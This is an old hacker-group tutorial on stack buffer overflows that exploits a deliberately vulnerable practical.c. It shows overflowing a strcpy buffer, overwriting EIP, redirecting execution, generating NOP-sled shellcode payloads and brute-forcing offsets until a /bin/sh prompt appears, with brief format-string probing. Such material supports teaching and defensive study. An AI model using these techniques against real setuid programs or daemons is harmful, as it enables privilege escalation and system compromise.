STATION ID - 7047/3.12 9x Datakit Network FOR OFFICIAL USE ONLY This is a 9x system, restricted to authorized persons and for official 9x business only. Anyone using this system, network or data is subject to being monitored at any time for system administration and for identifying unauthorized users or system misuse. Anyone using this system expressly consents to such monitoring and is advised that any evidence of criminal activity revealed through The Explanation of a Simple Buffer Overflow. written by ./ ; for 9x [o1o6o2] System crackers use many techniques to break in to machines they wish to use. One of the most common ways to break in to a machine is to exploit a service or piece of software running on that particular machine. Two of the most common forms of software abuse are buffer overflow and format string exploitation. In this paper I will be focusing on buffer overflows and how they can lead to system compromise. A buffer overflow occurs when a programmer expects a certain amount of data, but due to poor input validation a user is able to provide more data than the program expected. This condition will cause extra data to spill over in to other memory segments, thus causing corruption of the memory stack. An easy way to visualize a buffer overflow is to think of a bag that will hold only 10 pounds of weight. If we stick 9 one pound bricks in the bag things are fine, now if we toss 5 more bricks in the bag, chances are that we will rip the bottom out of our bag. Memory buffers are just like the bag in the above example, they can only hold so much. If you place too much data in a memory buffer it will burst. Buffer overflows are briefly introduced in the "KickStart Information Security: The Big Picture" curriculum on page 6-15. If a programmer is careless with his work it will often become the target of malicious abuse. In some cases programs run with escalated privileges or special acess. Escalated privileges and poor input validation make it easy for the attacker to take to elevate his privilege status. The most common types of abused programs are daemons that run as root and programs with the suid bit set. The suid bit makes the program run with the privileges of the user who owns the file, this is often root. An example of simple code carelessness would be when a programmer was expecting a 12 character username from a client, and a malicious user sends the program a 2000 character string. When all 2000 characters hit the stack we are sure to overwrite something. If the programmer did not validate the data he received his program could be subject to a buffer overflow, thus putting then end user of his product at risk. Buffer overflows adversely affect the current state of how crackers are attacking machines. If a large software vendor has a buffer overflow in their application it can often affect 100's of thousands of machines. Microsoft's IIS server has been subject to the malicious abuse due to buffer overflows several times recently. One particular overflow affected nearly all versions of IIS across several versions of NT. I am sure there are quite a few Microsoft IIS servers on the internet today that are vulnerable to buffer overflow attacks. This can be validated by the "Code Red" worm that as I type is raping and pillaging IIS servers across the world at a rapid rate. When a new buffer overflow comes out the "Script Kiddies"or newbie system crackers tend to get "0- day exploits" for the overflow, these exploits allow them to take advantage of a bug to force entry on to a machine. Many people are able to write malicious code to exploit buffer overflow conditions and they tend to post their work to public forums making them available to everyone including the common "Script Kid". Most overflows are due to the use of functions that don't do bounds checking. There are numerous lists on the internet that document these poor functions. I am going to focus on one example function being strcpy. The function strcpy() is a commonly misused function, several of today's exploits are due to its careless use. The description of strcpy() from the system manual pages is as follows: SYNOPSIS #include char *strcpy(char *dest, const char *src); The strcpy() function copies the string pointed to be src to the array pointed to by dest. The strings may not overlap, and the destination string dest must be large enough to receive the copy. In the included file practical.c we can see this function in action on the following lines of code. char badnonfilteredbuffer[500]; ... strcpy(badnonfilteredbuffer, argv[1]); This code would copy the contents of the first command line argument and place it in the variable badnonfilteredbuffer. This is the warning directly from the system manual pages about the use of strcpy(). BUGS If the destination string of a strcpy() is not large enough (that is, if the programmer was stupid/lazy, and failed to check the size before copying) then anything might happen. Overflowing fixed length strings is a favorite cracker technique. At this point some of the programmers reading may be asking themselves "if I can't use strcpy() what should I be using?" With this function as with many others there are alternate functions you can call that properly check the length of the input string. Properly checking input for length is sometimes called "bounds checking". strncpy() is the safer alternative to strcpy(). The description from the system manual pages is as follows: SYNOPSIS #include char *strncpy(char *dest, const char *src, size_t n); in order to make our program a bit safer we supply the strncpy() function with the length of our buffer... it will not take input beyond the length value thus stopping the overflow. Now that we have an idea of what we should and should not use in our code lets take a look at what happens if we accidentally or intentionally provide strcpy with too much data. From practical.c we have the following lines that are likely to cause problems char badnonfilteredbuffer[500]; ... strcpy(badnonfilteredbuffer, argv[1]); ... printf(badnonfilteredbuffer); printf("\n"); Some of you will note that there are 2 issues here but we will only address the strcpy overflow there is a note at the end of this paper with info about the second issue. Lets feed our program some data and see how it responds. If you wish to follow along and you are on a unix machine compile the code provided by typing: gcc -gdb -static -o practical practical.c [elguapo@linux practical]$ ./practical "Hi this is normal input" 1 Hi this is normal input As you can see the program prints out a numeric value and then our input. The numeric value was determined in practical.c by the line int x = 1; The call to printf(badnonfilteredbuffer) prints out what we typed in on the command line in this case "Hi this is normal input". Now lets see what happens if we stuff too much data into the buffer. Please note that I used perl to generate an abnormally long string by using its print option. [elguapo@linux practical]$ ./practical `perl -e 'print "A" x 700'` 1094795585 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (core dumped) Something is not right here, note the value of x is no longer 1 and we core dumped. This is due to the fact that we have overwritten the spot in memory reserved for x as well as several other variables. It seems that we now at least control the value of x. Lets do some more testing. [root@linux tut]# ./practical `perl -e 'print "A" x 523'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 1 Here we have passed our alloted buffer length but we haven't flowed over in to the memory space for x yet or even far enough to cause a Segment fault. [root@linux tut]# ./practical `perl -e 'print "A" x 524'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0 To the program our string of A's looks like "AAA...AAAAA\0". Here it looks like the \0 that terminates our string spilled over the value for x thus making x equal to 0. [root@linux tut]# ./practical `perl -e 'print "A" x 525'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 65 You should not be here! That is odd... we get a message telling us we don't belong there lets look in the source code to see why. if(x == 65) { printf("You should not be here!\n"); The above statement should under normal circumstances NEVER be met. x is a static variable it should always be equal to 1. You may be wondering why the value of x is now 65. Here is an ASCII chart that should clarify things. This chart tells us that the int value of "A" is equal to 65. Oct Dec Hex Char ---------------------------- 101 65 41 A Now I will have perl give me 524 chars so that I can specify the last char in the string in order to change x's value. We should still have the same results as above, because has really changed, I just made it a bit easier to control the value of x. [root@linux tut]# ./practical `perl -e 'print "A" x 524'`A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 65 You should not be here! This runs as expected, let's try some different values for x now. [root@linux tut]# ./practical `perl -e 'print "A" x 524'`B AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 66 getting tricky eh! Decimal for B is 65 this hits another part of the my statement. Again this should never happen. [root@linux tut]# ./practical `perl -e 'print "A" x 524'`C AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 67 hrmm don't you think you outta use some shellcode! Decimal for C is 67. I think the point has been made here so we can move on. Lets look at the memory and see what happens when we overwrite the eip register also known as the Instruction Pointer. The "Instruction Pointer" is a memory location used by all programs as a reference to the next command or function for it to run. Below is output from the GNU gdb debugger visually demonstrating how the eip is overwritten with data supplied by the user. The "core file" produced by the program is simply a snapshot of the memory when the program crashed. [root@linux tut]# gdb ./practical core GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0 Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-mandrake-linux"... Core was generated by `./practical AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x08040041 in ?? () As you can see by the address following the #0 eip or Instruction Pointer marker, we are starting to overwrite the value stored in the Instruction Pointers memory register with the value of A or 41 in hex [root@linux tut]# ./practical `perl -e 'print "A" x 542'` gdb output: #0 0x08004141 in ?? () [root@linux tut]# ./practical `perl -e 'print "A" x 543'` gdb output: #0 0x00414141 in ?? () [root@linux tut]# ./practical `perl -e 'print "A" x 544'` gdb output: #0 0x41414141 in ?? () At this point we totally control this application because we have overwritten its Instruction Pointer completely. Lets try something fun like pointing to other spots in memory. We now have the choice of any function or any other spot in memory. Since we compiled our program as static the memory references for functions will always be the same value. I have placed the following special function in the code for just such an occasion. int secret_function() { printf("super secret function\n"); } Lets see where secret_function() resides in memory by placing a break point at its location and recording the address. [root@linux tut]# gdb ./practical GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0 (gdb) break secret_function Breakpoint 1 at 0x80482b6: file practical.c, line 39. Note this address so we may use it in the malicious string we send the program. We must take the address from above reverse it due to the fact that it hits the stack backwards. We use the Unix echo command to process the hex representation of each character in the address from above. The result is a malicious string. [root@linux tut]# ./practical `perl -e 'print "A" x 540'``echo -e "\xb6\x82\x04\x08"` 1094795585 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$ super secret function Segmentation fault (core dumped) If you will note I provided 540 chars to get me to the eip without overwriting it. Then that was followed by the 4 characters created by the echo command. These 4 chars overwrite the eip with the value we want. b6 82 04 08 is what we send to the program as the last 4 chars because once this hits the stack it gets reversed and we get the value 0x80482b6 which points to secret_function().This value is positioned directly on top of the eip. You can see above just before secret_function() was run it printed to the screen the words "super secret function". You may also note that we still dumped the core. This is due to the fact that secret_function() does not call exit. After we print to the screen the program doesn't know where to go so it crashes. The following gdb dump illustrates that. There simply is no code for the program to execute. [root@linux tut]# gdb ./practical core GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0 Core was generated by `./practical AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x080482c8 in secret_function () at practical.c:40 40 } Now that we know that we can control the eip this means we need some shellcode. "Shellcode" is raw machine code written in assembly language to do a particular task like run a certain command. I won't go in to how write shellcode but you can certainly read about it on the net. Usually something that runs /bin/sh works best for local exploits if you are on a unix platform. There is a generic technique for exploiting a buffer overflows which I will not go in to it any further than a basic understanding of what we would like to place on the memory stack. This is an overly simple representation of how I imagine the stack when I am thinking about how I want to exploit something. [ buffer ][ other variables ][ instruction pointer ] In gdb we have several memory registers that represent some of the above data. The eax ebx ecx edx esi and edi registers all contain information the program needs to run the current function. The eip as stated before holds the address of the next command to run. As an example one register could hold the value of the syscall to be used (from /usr/include/asm/unistd.h) and the other registers hold the arguments to the syscall. This is output from gdb showing the current register values, this should give you an idea of what the stack looks like to gdb. These registers are from some random program. (gdb) info registers eax 0xbffff82c -1073743828 ecx 0x80480b4 134512820 edx 0x80a0e08 134876680 ebx 0x8090580 134808960 esp 0xbffff5a0 0xbffff5a0 ebp 0xbffff7b8 0xbffff7b8 esi 0xbffff824 -1073743836 edi 0x1 1 eip 0x80481e9 0x80481e9 The eip is the register we really want to control... in an earlier example you saw the value of eip was overwritten with 41414141 or AAAA. If you were to look at the stack at this point usually what you find is that you have also overwritten several other memory registers. Here is gdb output showing how the stack looks after an overwrite of the Instruction Pointer. Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) info registers eax 0xffffffff -1 ecx 0x24 36 edx 0x24 36 ebx 0x41414141 1094795585 esp 0xbfffdbc0 0xbfffdbc0 ebp 0x41414141 0x41414141 esi 0x41414141 1094795585 edi 0x41414141 1094795585 eip 0x41414141 0x41414141 Usually want something a bit different to be on the stack, the A's do us no good We still however need to fill some buffer and memory space. One common solution to filling space is to use NOP's. A "NOP" is described in the 8086/8088 Users Manual from Intel as: NOP - NO OPERATION Operation None Description NOP (No Operation) causes the CPU to do nothing. Knowing that lets take a look at the ideal stack for our exploitation purposes. [ NOPS + SHELLCODE ][ ADDRESS OF MALICIOUS CODE REPEATED ] We repeat the memory location of our shellcode several times to increase our chances of successfully overwriting the eip with its value. The nops are placed before the shellcode to help us make sure that even if we don't hit the exact memory location of our shellcode with our malicious address, the CPU will "do nothing" until it reaches our shellcode on the stack. The ASCII below will help you visually understand this concept. [ NOPS NOPS NOPS and MORE NOPS + SHELLCODE ][ MALICIOUS ADDY REPEATED ] (here) ( this address directs you ) ^ | | ----------------------------------------------------------------------------- ---------------------- [ NOPS NOPS NOPS and MORE NOPS + SHELLCODE ][ MALICIOUS ADDY REPEATED ] (here)-->(do nothing)--(nothing)-->(/bin/sh) ( this address directs you ) ^ | | ----------------------------------------------------------------------------- ---------------------- Once we know the format of the data we want to place on the stack we write an exploit to generate the malicious hex characters. Then try to place what we want on the stack and see what happens. We are after something similar to the below illustration. We add or subtract nops in order to make our malicious address line up exactly with the eip location. [ buffer ][ other variables ][ instruction pointer ] [ NOPS NOPS NOPS and MORE NOPS + SHELLCODE ][ MALICIOUS ADDY REPEATED ] We want our malicious address to be placed in the eip register. If we get our desired result the flow of execution as described above will bring us to /bin/sh I have included a java .class file that can be used for creating malicious shellcode for a local or remote exploit. You must have the JDK or JRE from Sun installed to use exp.class. The arguments for the binary are as follows. [root@linux prac]# java exp usage: Here is what an example run of exp.class would look like. [root@linux prac]# ./practical `java exp AAAAAAAA 0 544 local` esp: AAAAAAAA offset: 0 evilreturn: aaaaaaaa payload sent -1431655766    )A)AψG)U3 %UI?^)A^F%F %ψ Ψ’S I?Ša˜˜˜/bin/sh¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ Segmentation fault (core dumped) exp.class tells us the esp that we provided and then subtracts the offset from it and shows the result as evilreturn. Lets take a look at the core file in gdb to see what we have placed on the stack by using exp.class. [root@linux prac]# gdb ./practical core GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0 Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-mandrake-linux"... Core was generated by `./practical '. Program terminated with signal 11, Segmentation fault. #0 0xaaaaaaaa in ?? () (gdb) info registers eax 0x1 1 ecx 0x0 0 edx 0x809f6a0 134870688 ebx 0x8090580 134808960 esp 0xbffff640 0xbffff640 ebp 0xaaaaaaaa 0xaaaaaaaa esi 0xbffff6a4 -1073744220 edi 0x2 2 eip 0xaaaaaaaa 0xaaaaaaaa Note that the eip was overwritten with the aaaaaaaa that was calculated from our esp and offset arguments. We need the esp to use as a starting point for our brute forcing of memory locations. We need to find our shellcode or the start of the NOPS in memory. Let's note bffff640 so that we can plug it in exp.class when we attempt to exploit the overflow. The esp is known as the Stack Pointer. "The Stack Pointer" represents the top of the current stack. We will now run exp.class with the proper esp argument. [root@linux prac]# ./practical `java exp bffff640 0 544 local` esp: bffff640 offset: 0 evilreturn: bffff640 payload sent -1073744320    )A)AψG)U3 %UI?^)A^F%F %ψ Ψ’S I?Ša˜˜˜/bin/sh”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜ ¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜ ¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜ ¨@”˜¨@”˜¨@”˜¨@”˜¨@”˜¨@ Segmentation fault (core dumped) We know something is still wrong due to the fact that we core dumped. The core file simply verifys that we control the eip address because in the core it is now equal to the value calculated by exp.class. [root@linux prac]# gdb ./practical core GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0 Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-mandrake-linux"... Core was generated by `./practical '. Program terminated with signal 11, Segmentation fault. #0 0xbffff640 in ?? () The location of the shellcode should be physically before our malicious return address string and after the nops in memory. The offset is subtracted from the Stack Pointer to use as our malicious return address. In the below example the offset was 0 so the malicious Instruction pointer is the same as the value we provided as esp to exp.class. We have a script for brute forcing the offset and we will begin brute force of the location to our shellcode shortly One of the most important pieces of an exploit is its payload or in our case shellcode. "Shellcode" is raw machine language that performs a malicious task for the attacker. The shellcode I included does setgid(12) followed execve of /bin/sh. A much more common thing is to do setuid(0) and setgid(0) then run /bin/sh. This gives us a shell prompt as the user root. Shellcode looks like the below example and can vary in size. "\x29\xc0\x29\xc0\xb0\x47" We will now run our brute force script to find the correct offset to abuse our vulnerable program and trick it in to running our shellcode. You basically run a brute force session and hope for a /bin/sh prompt to appear. The script runs through a range of possible offsets. [d0slash@linux prac]$ ./brute.sh 0 1000 bffff600 544 ./practical brute.sh
0 esp: bffff600 offset: 0 evilreturn: bffff600 payload sent 1    )A)AψG)U3 %UI?^)A^F%F %ψ Ψ’S I?Ša˜˜˜/bin/sh”˜¨ ... You will see a plethora of core dumps and memory errors as the brute runs . Illegal instruction, Floating point exception, Segmentation fault , these are often accompanied by (core dumped) ... 242 esp: bffff600 offset: 242 evilreturn: bffff50e payload sent -1073744626    )A)AψG)U3 %UI?^)A^F%F %ψ Ψ’S I?Ša˜˜˜/bin/sho˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨ o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜ ¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨o˜¨ ./brute.sh: line 12: 13628 Illegal instruction $5 `java exp $3 $L $4 local` 243 esp: bffff600 offset: 243 evilreturn: bffff50d payload sent -1073744627    )A)AψG)U3 %UI?^)A^F%F %ψ Ψ’S I?Ša˜˜˜/bio˜¨ho˜¨ sh-2.04$ Finally during some point in the brute forcing we get a shell prompt. We have successfully redirected the flow the /bin/sh prompt that we provided with the shellcode section in the malicious string that we sent the program. There are several crafty techniques available to the cracker at this point since he or she controls the flow of the application. Most start by backdooring the system so that they have future access. Many techniques have been incorporated in a easy user friendly scripts. These scripts are then used often by the "Script Kiddies" to rape and pillage internet. The above brute force session and examples show us that it is simple for someone to abuse a program that has a buffer overflow by carefully crafting the input in order to overwrite certain portions of the memory stack. This allows one to place data on the stack that will provide some form of elevated access to the system. There are several sites that document the buffer overflow conditions in several applications in more depth and detail. If this sort of topic interests you may also consider reading up on assembly language and possibly some of the other common stack abuses such as format strings exploitation. In general program exploitation of any sort can be good reading. Signal exploitation is one other such example. Below I have provided links to a few sites that cover these topics. Additional topics: Delivering Signals for Fun and Profit Michal Zalewski lcamtuf@razor.bindview.com This paper discuses using the Unix signaling facilities to exploit a programs flow of execution. Format String Exploitation http://julianor.tripod.com/usfs.html For those of you that were paying attention earlier you noticed that practical.c is also vulnerable to printf abuse... I will leave that to you to read up on but regardless here is an example of memory corruption can occur via printf format strings abuse. [d0slash@linux prac]$ ./practical "%x,%x,%x,%x,%x" 1 1,bffff5f8,bffff874,252c7825,78252c78 The output here seems to be the value of x and some raw memory locations. This is certainly not what you would expect as output. The next format string %n is used to write a value to a memory segment. Being able to write to memory is a big part of the issue with format string abuse. [d0slash@linux prac]$ ./practical %hn 1 Segmentation fault There have been several attempts at making a "Non-executable" stack to stop buffer overflows and format string abuse. This subject may also provide interesting reading. A non-executable stack implementation can be located at http://www.openwall.com References: Smashing the Stack for fun and profit from Phrack Volume 7 Issue 49. by Aleph1 aleph1@underground.org http://packetstormsecurity.com/docs/hack/smashstack.txt A guide to writing simple buffer-overflow exploits for x86 *nix. by fides f1d3s@lineone.net http://darknet.hack.gr/papers/basicoverflows/overflows.txt Intel 8086/8088 User's Manual. Programmers and Hardware Reference. ISBN 1-5555512-081-4 Linux man, version 1.5 as provided by Mandrake Linux version 8.0. Man strcpy and strncpy Web Links: http://www.security-focus.com http://www.hack.co.za or a mirror site such as http://darknet.hack.gr http://packetstormsecurity.com http://linuxassembly.org http://www.itpapers.com/cgi/PSummaryIT.pl?paperid=22052&scid=184 (code red info)